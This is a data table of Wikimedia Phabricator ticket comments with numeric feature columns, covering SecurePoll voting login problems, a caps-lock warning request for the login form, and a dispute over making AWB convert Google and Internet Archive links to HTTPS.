,0.0,0.14285714285714285,1.4285714285714286,0.0,0.5714285714285714,0.2857142857142857,0.2857142857142857,0.14285714285714285,5.571428571428571,3.2857142857142856,6.714285714285714,2.142857142857143,3.5714285714285716,8.571428571428571,0.0,0.42857142857142855,0.0,0.0,8.0,0.0,0.7142857142857143,0.0,7.428571428571429,12.857142857142858,1.5714285714285714,0.5714285714285714,2.0,0.0,7.428571428571429,0.0,1.0,1.7142857142857142,0.42857142857142855,2.142857142857143,1.5714285714285714,0.5714285714285714,0.14285714285714285,3.5342261904761902,0.7246710526315789,"QUOTE
QUOTE

It is no longer a vote today :) This is the FDC election that ended on Sunday (There is another one starting this Sunday though for the Board).


To the question at hand, sadly much of this is the SecurePoll system which I've been trying to find ways to make better and easier (and I think we we have) but it still has a ways to go for sure. I'm sorry that we didn't see this during the election itself but I am glad that you at least were able to vote in the end. Thanks Andre for adding me.

Some of these issues are core issues in SecurePoll that will be tough to fix quickly but I want to help developers make more changes in the future as well and so they are very good to document to help find where to focus. Other things I want to try and make more user friendly or at least 'easier' to work around the problems. Let me know if any of these sound like they could help.



  - Need to log in
   - The SecurePoll system uses a completely different log in system sadly, so attempting to 'log in' to voteWiki won't actually help (even if you could you wouldn't necessarily be able to vote) it gets it's ""log in"" info when you are sent from Meta, the first page you landed on after clicking the banner.
   - Do you think this would be a bit easier if we put a big ""start voting over"" or ""get back to fresh ballot"" type link on the side bar and/or the home page/log in page? Perhaps with a note on the log in page that they can't log in to vote? I know that isn't perfect but at least will let people know to stop trying and how to get back to the start.

  - Following links and then coming back to have issues (log in/empty ballot etc)
   - Hmm, I don't know a good way to stop the issues if you use the back button a couple times without working with some more major changes that won't be ready for the next election (Sunday for 2 weeks, then we'll have a year or two to make changes :) ).  One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?

  - Empty ballot
   - This one is also tough sadly, the best thing I can come up with is the 'open links in new tab' option above and making sure it doesn't time out or anything too early. You can always change you vote (come back and revote) but even there it's always a fresh ballot because the system encrypts your vote (and can't read it back to refill the selections). It's possible with more work they could find a secure way to do it in the session.


So, no perfect answers right now but I really appreciate you filing this so that we can try to make the whole process better. From my experience it IS better then it has been in the past 2-10 years for this type of election but... that isn't saying much :).


"
458036,Voting process rejects user login and loses votes contrary to what it announces,"What is ""the vote today"" and how to find it?",,,1431500351,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,15.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6923076923076925,0.9230769230769231,"What is ""the vote today"" and how to find it?"
453887,Voting process rejects user login and loses votes contrary to what it announces,"On clicking the button to send my votes, the same problems occur: the page saying that I must log in, and so on.
",,,1430830503,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,18.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.25,0.8928571428571429,"On clicking the button to send my votes, the same problems occur: the page saying that I must log in, and so on.
"
112160,Login form should check for caps lock,"The login form (Special:UserLogin) should display a warning message when it detects that the user is typing his or her password with caps lock on.

This could be accomplished, say, with [[ http://stackoverflow.com/q/348792/1757964 | one of these methods ]].",Low,25.0,1441914932,,PHID-USER-bofliv5ffjq5mznvskiz,False,,False,PHID-TASK-fcgvbknn5f72enu4klvd,task_description,open,True,c3,3,False,False,,10,True,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,10.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,6.0,10.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.64,0.9,"The login form (Special:UserLogin) should display a warning message when it detects that the user is typing his or her password with caps lock on.

This could be accomplished, say, with [[ URL | one of these methods ]]."
537184,Login form should check for caps lock,"On my IE11 there is a warning when using caps lock on password fields.

There are also other special pages with password fields.",,,1443539401,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fcgvbknn5f72enu4klvd,task_subcomment,,True,c3,3,True,,,12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.115384615384615,0.8846153846153846,"On my IE11 there is a warning when using caps lock on password fields.

There are also other special pages with password fields."
524693,Login form should check for caps lock,"On my IE11 there is a warning when using caps lock on password fields.

There are also other special pages with password fields:",,,1441915358,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fcgvbknn5f72enu4klvd,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,8.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.115384615384615,0.9230769230769231,"On my IE11 there is a warning when using caps lock on password fields.

There are also other special pages with password fields:"
111693,Convert selected external links to HTTPS,"From a recent WP:VPT discussion, it was suggested to have the following added as an automatic ""general fix"" in AWB: changing the protocol for certain external links from HTTP to HTTPS, although only within citation templates. For now, this should include a number of Google services (e.g. Google Books, Google News, YouTube) and the Internet Archive (i.e. Wayback Machine). In essence, this should probably be some sort of RegEx feature that looks for `|url=http://books.google.[com|co.uk|ca|de|it|es|...]` and replaces it with `|url=https://books.google.com` (yes, the top-level domain switch is intentional here, since Google redirects from `.com` to a specific country version, and we should keep the links general). The same for Google News, YouTube as well as `http://archive.org` and `http://web.archive.org/` links. (For the latter, of course, the RegEx would have to find `|archiveurl=http://[web|wayback].archive.org/`)",Low,25.0,1441636767,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,False,PHID-TASK-cbfsjee5h5hzymigqnwr,task_description,open,True,c3,3,False,False,,9,True,0.5,0.0,0.0,0.5,0.0,6.5,1.0,0.0,0.5,0.0,3.5,0.0,0.0,0.5,0.0,0.5,0.0,4.0,13.0,0.0,1.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.5,0.0,12.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,7.0,1.5,18.0,1.0,2.5,8.5,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,1.5,13.0,12.5,0.0,1.0,0.0,1.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.5,4.00625,0.73125,"From a recent WP:VPT discussion, it was suggested to have the following added as an automatic ""general fix"" in AWB: changing the protocol for certain external links from HTTP to HTTPS, although only within citation templates. For now, this should include a number of Google services (e.g. Google Books, Google News, YouTube) and the Internet Archive (i.e. Wayback Machine). In essence, this should probably be some sort of RegEx feature that looks for CODE and replaces it with CODE (yes, the top-level domain switch is intentional here, since Google redirects from CODE to a specific country version, and we should keep the links general). The same for Google News, YouTube as well as CODE and CODE links. (For the latter, of course, the RegEx would have to find CODE)"
1508667,Convert selected external links to HTTPS,">>! In T111693#1627491, @bender235 wrote:
> Just to let you guys no, I opened an [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)#RfC:_Should_we_convert_existing_Google_and_Internet_Archive_links_to_HTTPS.3F | RfC on this issue ]].

https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)/Archive_127#RfC:_Should_we_convert_existing_Google_and_Internet_Archive_links_to_HTTPS%3F says `Closing comment: There is near-unanimous consensus in favor of converting the mentioned links to a secure HTTPS connection.`

I have no idea what that means for this ticket, but ticket should not be in ""stalled"" status for five years, hence reopening. :) (Feel free to decline, etc.)",,,1590057802,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,255,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,9.0,7.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,3.369565217391304,0.8260869565217391,"QUOTE
QUOTE

URL says CODE

I have no idea what that means for this ticket, but ticket should not be in ""stalled"" status for five years, hence reopening. :) (Feel free to decline, etc.)"
890970,Convert selected external links to HTTPS,"For webarchive, because have https, i request to add changing from http to https. I resolved that using python on Serbian Wikipedia. Https is security protocol. I requested also to add https when weblinkchecker script report dead link on talk page (https://web.archive.org), no http://web.archive.org",,,1499726729,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,105,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,18.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,16.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,18.0,10.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.32,0.78,"For webarchive, because have https, i request to add changing from http to https. I resolved that using python on Serbian Wikipedia. Https is security protocol. I requested also to add https when weblinkchecker script report dead link on talk page (URL no URL"
524880,Convert selected external links to HTTPS,Why would we not simply make this apply to EN only? We can always change it later.,,,1441927740,,PHID-USER-yue5rzfyxiyeqbxu5yh3,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,32.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,16.0,5.0,5.0,5.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.473684210526316,1.0,Why would we not simply make this apply to EN only? We can always change it later.
524654,Convert selected external links to HTTPS,"Just to let you guys no, I opened an [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)#RfC:_Should_we_convert_existing_Google_and_Internet_Archive_links_to_HTTPS.3F | RfC on this issue ]].",,,1441913580,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.4285714285714284,0.9047619047619048,"Just to let you guys no, I opened an [[ URL | RfC on this issue ]]."
523297,Convert selected external links to HTTPS,"The current discussion is about policy/consensus for the change, not the technicalities of the implementation. So I think the policy discussion should be on-wiki/on meta, not on a ticket, and we should return here if/when clear consensus is reached for change.",,,1441788790,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,2.0,4.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.6666666666666666,"The current discussion is about policy/consensus for the change, not the technicalities of the implementation. So I think the policy discussion should be on-wiki/on meta, not on a ticket, and we should return here if/when clear consensus is reached for change."
523295,Convert selected external links to HTTPS,"A limited discussion with that summation at a single wiki,  or a single
Wikipedia,  does not and should not set the linking and updating of
genfixes.

AWB does genfixes for how many wikipedias? Have you asked each of them?
Have you asked any others? How about just some of the other big wikis?

Show me where the discussion has been broader and asked more than the
watchers of that page? Show me where it has been incorporated into policy.
Show me where it has made it into the MoS. It hasn't. Until that has
occurred, all you have is an indication of a small group at a page at one
wikipedia, nothing more, and from 18 months ago. That is not a consensus to
change every Google and archive.org link.",,,1441788625,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,3.5,0.0,0.0,0.5,2.5,4.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,7.0,9.5,0.5,0.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,9.5,1.5,1.0,0.0,1.5,0.0,0.0,0.0,3.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,2.5,8.0,3.0,3.5,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,6.5,9.5,3.0,2.5,0.0,0.0,6.5,0.0,3.0,4.0,2.5,0.0,1.5,0.0,0.0,3.6772151898734178,0.6772151898734178,"A limited discussion with that summation at a single wiki,  or a single
Wikipedia,  does not and should not set the linking and updating of
genfixes.

AWB does genfixes for how many wikipedias? Have you asked each of them?
Have you asked any others? How about just some of the other big wikis?

Show me where the discussion has been broader and asked more than the
watchers of that page? Show me where it has been incorporated into policy.
Show me where it has made it into the MoS. It hasn't. Until that has
occurred, all you have is an indication of a small group at a page at one
wikipedia, nothing more, and from 18 months ago. That is not a consensus to
change every Google and archive.org link."
522765,Convert selected external links to HTTPS,"Marking as stalled until the two of you have figured this one out. The developers of AWB will not be implementing this as long as there is ~~disruption~~ discussion regarding if it should even be part of AWB, therefore by definition, it is stalled.",,,1441732261,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,19.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,6.0,19.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.270833333333333,0.75,"Marking as stalled until the two of you have figured this one out. The developers of AWB will not be implementing this as long as there is ~~disruption~~ discussion regarding if it should even be part of AWB, therefore by definition, it is stalled."
522758,Convert selected external links to HTTPS,"@Billinghurst: The WP:VPP closing statement says there was a ""clear consensus."" How much more does it need for you to recognize?",,,1441732076,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,18.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,4.0,4.0,7.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,3.7857142857142856,0.9285714285714286,"SCREEN_NAME: The WP:VPP closing statement says there was a ""clear consensus."" How much more does it need for you to recognize?"
522378,Convert selected external links to HTTPS,"1. WP:VPP is a closed discussion without consensus.  For something to appear in genfix, I would propose that it would have to comply with direction from [[w:en:WP:MoS]] until that point it is personal preference. [The setting of https for the foundation for its use, is not about enforcing its policy elsewhere. I am trying to avoid having that policy decision in a side phabricator ticket, and should not be used a reason to get a genfix, as said genfix should be about complying with MoS only, the lowest common factor, not the highest level impost, not political issues]

I don't live in the US, and I get perfectly formed urls at the link as by articles, no redirects at all. Retested today for .it .es .de links via special:linksearch.  I do not see a consensus for this general fix.",,,1441683863,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0.5,0.5,0.5,0.5,3.5,4.5,2.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,3.5,0.0,6.0,15.5,0.5,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,1.0,2.0,0.5,0.0,0.5,0.0,1.0,0.5,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,16.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,6.0,3.0,7.5,0.5,1.0,8.0,0.0,0.0,0.0,0.0,5.5,0.0,1.0,0.0,4.5,15.5,2.5,0.0,0.0,0.0,4.5,0.0,0.0,2.5,0.0,2.0,0.0,1.0,2.0,3.7195010449320796,0.7143416927899686,"1. WP:VPP is a closed discussion without consensus.  For something to appear in genfix, I would propose that it would have to comply with direction from [[w:en:WP:MoS]] until that point it is personal preference. [The setting of https for the foundation for its use, is not about enforcing its policy elsewhere. I am trying to avoid having that policy decision in a side phabricator ticket, and should not be used a reason to get a genfix, as said genfix should be about complying with MoS only, the lowest common factor, not the highest level impost, not political issues]

I don't live in the US, and I get perfectly formed urls at the link as by articles, no redirects at all. Retested today for .it .es .de links via special:linksearch.  I do not see a consensus for this general fix."
522364,Convert selected external links to HTTPS,"@Billinghurst As for the ""consensus"", no one was referring to the [[https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#HTTPS_for_selected_external_links.2C_but_how.3F | ongoing discussion on WP:VPT]]. I was instead pointing at the year-old [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)/Archive_111#As_WP_uses_HTTPS.2C_should_.28some.29_external_links.2C_too.3F | discussion at WP:VPP ]].

Second, switching to ""books.google.com"" from ""books.google.[de|it|es|ca|pt|...]"" is not about personal preference. Before complaining about this, please take time to understand the issue. If you browse to ""books.google.com"" from anywhere outside the US, you will be //redirected// to your country's language version by Google. But if you browse says ""books.google.it"" outside of Italy, this won't happen. So when ever a non-US-resident adds a Google Books link on Wikipedia, it'll most likely be with the top-level domain of his/her country version. But just because an Italian person added the link doesn't mean only Italians will click the link on Wikipedia. Hence, the link should be fixed to the ""generic"" version before the language redirect.

But if this issue is this confusing and unacceptable to you, I am willing to drop it. It was only secondary to the issue at question here, anyways.",,,1441676934,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.3333333333333333,1.0,5.333333333333333,2.3333333333333335,0.3333333333333333,0.0,1.0,1.0,1.0,0.3333333333333333,1.0,0.0,1.3333333333333333,0.3333333333333333,6.0,12.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,0.0,1.0,0.0,3.3333333333333335,0.6666666666666666,1.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.0,11.0,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.666666666666667,3.3333333333333335,10.333333333333334,2.0,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,4.333333333333333,12.0,4.333333333333333,0.0,4.333333333333333,0.0,4.333333333333333,0.0,0.3333333333333333,1.0,0.0,1.3333333333333333,0.0,0.3333333333333333,1.0,3.922077922077922,0.6926406926406927,"SCREEN_NAME As for the ""consensus"", no one was referring to the [[URL | ongoing discussion on WP:VPT]]. I was instead pointing at the year-old [[ URL | discussion at WP:VPP ]].

Second, switching to ""books.google.com"" from ""books.google.[de|it|es|ca|pt|...]"" is not about personal preference. Before complaining about this, please take time to understand the issue. If you browse to ""books.google.com"" from anywhere outside the US, you will be //redirected// to your country's language version by Google. But if you browse says ""books.google.it"" outside of Italy, this won't happen. So when ever a non-US-resident adds a Google Books link on Wikipedia, it'll most likely be with the top-level domain of his/her country version. But just because an Italian person added the link doesn't mean only Italians will click the link on Wikipedia. Hence, the link should be fixed to the ""generic"" version before the language redirect.

But if this issue is this confusing and unacceptable to you, I am willing to drop it. It was only secondary to the issue at question here, anyways."
522360,Convert selected external links to HTTPS,"@bender235. You may wish to reread what I wrote, ""personal preference"" != special:preferences.

Firstly, I hardly find that simple conversation at WP:VPT can be called a consensus. What we do by encouragement, and what we do by force, and by our opinions are different things. Before you go and enforce into AWB a means to change links, there should be amendments to the editing guidelines through the MoS that the links should be styled as https in preference to http if that option exists. Such a change should be through a Request for Comment process. [Sure that makes it harder, but it makes it open and it makes it through a proper consensus. Don't shortcut the people.]

Secondly, rewriting urls from the form that they are added to a new/altered domain form, as you have slipped into the phab ticket, was not part of the discussion, and should not be undertaken. Your personal preference for a domain is not relevant, there is no requirement for any of these links to be in .com, away from the originally added domain variation. It is an unnecessary change, a change that those who entered the link could rightly take umbrage, and technically introducing the ability for error.

The AWB product is used across all the wikipedias, and not just English Wikipedia,. In fact it is used across all the sister wikis. Expressed requirements for change should take into consideration of all the wikis, not just your suggestion at enWP:WP:WPT. While AWB is used as ""user beware, user be responsible for edits"" changes that have the potential to break things should be avoided.  Here are suggesting adding a change  for a //genfix // that is not actually fix at all, just a change based on a preference. The change if used outside of enWP could break other wikis rules, and as such I believe it is a bad idea for genfix. Have it as a plug-in *if* you get it through an RFC, but it is not a fix, and it is definitely not a genfix.


[Noting all this is not about whether use of https or http is preferred, it is about the process for getting a change, and whether the change should happen. This is about going through the right processes for community consensus. not sneaking in a policy change through the backdoor.]

For what it is worth, templates are different, and would usually present a specific configuration which people can choose to use, or not, so I am not certain of the pertinency of the comment. That are what they are.

",,,1441674436,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1.0,0.0,0.0,1.5,2.3333333333333335,3.5,2.5,0.0,0.0,0.5,1.6666666666666667,0.16666666666666666,0.0,0.16666666666666666,0.3333333333333333,1.1666666666666667,0.3333333333333333,5.333333333333333,11.833333333333334,0.0,1.0,1.1666666666666667,0.16666666666666666,0.0,0.5,0.16666666666666666,0.0,0.6666666666666666,0.8333333333333334,0.16666666666666666,0.0,6.0,0.6666666666666666,2.3333333333333335,1.1666666666666667,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.16666666666666666,0.3333333333333333,0.16666666666666666,2.6666666666666665,0.0,0.5,0.3333333333333333,0.16666666666666666,0.16666666666666666,12.5,1.0,0.5,0.5,0.6666666666666666,0.0,0.16666666666666666,0.0,0.16666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.8333333333333334,0.0,0.16666666666666666,0.5,0.16666666666666666,0.0,7.5,5.166666666666667,6.666666666666667,1.3333333333333333,2.6666666666666665,10.166666666666666,0.0,0.0,0.16666666666666666,0.0,4.333333333333333,0.16666666666666666,0.16666666666666666,0.0,5.0,11.833333333333334,2.5,0.0,0.6666666666666666,0.0,5.0,0.0,1.8333333333333333,3.6666666666666665,0.0,1.5,0.16666666666666666,0.0,0.3333333333333333,3.9153898768809845,0.6879844961240309,"SCREEN_NAME. You may wish to reread what I wrote, ""personal preference"" != special:preferences.

